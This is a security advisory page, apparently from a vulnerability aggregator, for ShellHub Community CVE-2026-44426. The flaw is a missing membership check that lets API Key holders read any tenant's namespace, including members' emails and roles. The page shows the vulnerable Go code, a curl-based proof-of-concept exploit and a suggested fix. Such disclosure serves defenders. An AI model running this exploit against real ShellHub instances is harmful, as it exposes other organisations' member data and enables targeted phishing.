ShellHub Community CVE-2026-44426
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
GET /api/namespaces/:tenant returns the full namespace object - including the members list (user IDs, e-mails, roles), settings, and device counts - to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.
The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.
Affected versions
ShellHub Community v0.24.1 (validated).
Root cause
api/routes/nsadm.go:75-102 - membership check is skipped when c.ID() is nil:
var uid string
if c.ID() != nil {
uid = c.ID().ID
}
ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
return c.NoContent(http.StatusNotFound)
}
if uid != "" { // ⚠️ skipped when API Key is used
if _, ok := ns.FindMember(uid); !ok {
return c.NoContent(http.StatusForbidden)
}
}
return c.JSON(http.StatusOK, ns)AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication - never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.
Proof of concept (validated live against v0.24.1)
# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc","expires_at":30}' | jq -r .id)
# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)
# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
# settings, max_devices, devices_accepted_count, type, created_at}Impact
- Enumeration of any ShellHub namespace by tenant UUID.
- Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
- Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.
Suggested fix
Two layers:
- Primary - enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:
// nsadm.go GetNamespace
if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
return c.NoContent(http.StatusForbidden)
}AnalysisAI
ShellHub Community v0.24.1 and earlier allows authenticated API Key holders to enumerate any tenant namespace and retrieve sensitive membership data (user IDs, emails, roles), settings, and device counts via GET /api/namespaces/:tenant due to a bypassed authorization check. The vulnerability exploits API Key authentication flows that fail to set the user ID header, causing the membership verification to be skipped entirely. Publicly available proof-of-concept code demonstrates validated exploitation against v0.24.1, with complete disclosure of cross-tenant namespace configuration including member lists suitable for targeted phishing campaigns.
Technical ContextAI
ShellHub is a remote access solution written in Go that manages multi-tenant namespaces with role-based access control. The vulnerability resides in the namespace administration handler (api/routes/nsadm.go:75-102), which retrieves namespace objects via GetNamespace(). The code conditionally checks namespace membership only when c.ID() (the user ID from the X-ID header) is non-nil. During API Key authentication, the AuthRequest function (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY headers-deliberately omitting X-ID. This causes c.ID() to return nil and the membership check to be skipped entirely with an empty uid string. The vulnerability is classified as an Insecure Direct Object Reference (IDOR) with authentication bypass characteristics, falling under CWE-639 (Authorization Bypass Through User-Controlled Key). The affected CPE is pkg:go/github.com/shellhub-io/shellhub, versions <= 0.24.1.
RemediationAI
Upgrade ShellHub Community to version 0.24.2 or later immediately, which implements the primary fix of enforcing caller-tenant matching before returning namespace objects. The fix adds a check: if c.Tenant() != nil && c.Tenant().ID != req.Tenant, return HTTP 403 Forbidden. This applies consistently to both JWT and API Key authentication flows. Until upgrading is possible, implement network-level compensating controls: restrict API Key usage to named service accounts with minimal required scope, rotate all existing API Keys, audit API Key generation and usage logs for cross-tenant requests, and disable API Key authentication entirely in management endpoints if not actively used. Note that disabling API Key authentication may break automation tools dependent on this feature; document and test the impact before deployment. Refer to the ShellHub security advisory at https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f for patch details and validation steps.
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-vwx9-7qcf-gg7f